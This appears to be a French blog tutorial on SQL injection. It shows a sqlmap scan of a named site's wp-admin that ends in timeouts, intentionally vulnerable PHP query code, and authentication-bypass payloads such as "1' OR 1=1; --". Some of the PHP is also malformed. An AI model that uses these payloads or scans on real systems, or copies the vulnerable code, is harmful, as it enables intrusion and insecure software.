Voici l'artillerie lourde pour les injections SQL :
sqlmap -u http://luclaverdure.com/wp-admin --time-sec 15
__H__
___ ___[,]_____ ___ ___ {1.1.9#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:26:44
[07:26:45] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] y
[07:26:58] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'http://luclaverdure.com/wp-admin/'. Do you want to follow? [Y/n] y
[07:27:05] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[07:27:35] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[07:27:35] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[07:27:48] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[07:27:48] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[07:28:20] [CRITICAL] WAF/IPS/IDS identified as 'Generic (Unknown)'
[07:28:20] [WARNING] WAF/IPS/IDS specific response can be found in '/tmp/sqlmapnu5FKO3050/sqlmapresponse-2sf3SM'. If you know the details on used protection please report it along with specific response to 'dev@sqlmap.org'
are you sure that you want to continue with further target testing? [y/N] y
[07:28:42] [WARNING] please consider usage of tamper scripts (option '--tamper')
[07:28:42] [INFO] testing if the target URL is stable
[07:28:45] [WARNING] URI parameter '#1*' does not appear to be dynamic
[07:28:46] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[07:28:47] [INFO] testing for SQL injection on URI parameter '#1*'
[07:28:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:28:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[07:28:55] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
[07:29:05] [WARNING] there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests
[07:29:05] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:29:36] [CRITICAL] connection timed out to the target URL
[07:29:46] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:30:16] [CRITICAL] connection timed out to the target URL
[07:30:26] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:30:56] [CRITICAL] connection timed out to the target URL
Une injection SQL est basée sur un paramètre, celui d'un champ de formulaire dans ce cas.
Prenons l'exemple suivant dans lequel nous cherchons des informations sur une ville de la base de données :
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");
$result = mysqli_query($link, "SELECT DATABASE()");
$more = $mysqli->query("SELECT * FROM City WHERE x=".$_GET['parameter'].";");
Le paramètre attendu est un chiffre.
Par contre, qu'arriverait-il si celui-ci était :
0 OR 1=1; --
Nous faisons face à un sérieux danger, car cela valide la requête et met en commentaires la suite de la requête.
Vous l'avez bien deviné, la même technique peut être appliquée à un formulaire d'authentification :
'SELECT user WHERE id='.$_GET['id'].' AND password="'.md5($_GET['pwd']).'";
Notre injecteur SQL :
1' OR 1=1; --
Devient alors :
'SELECT user WHERE id='1' OR 1=1; --' AND password="'.md5($_GET['pwd']).'";
Faisant en sorte que le mot de passe est ignoré!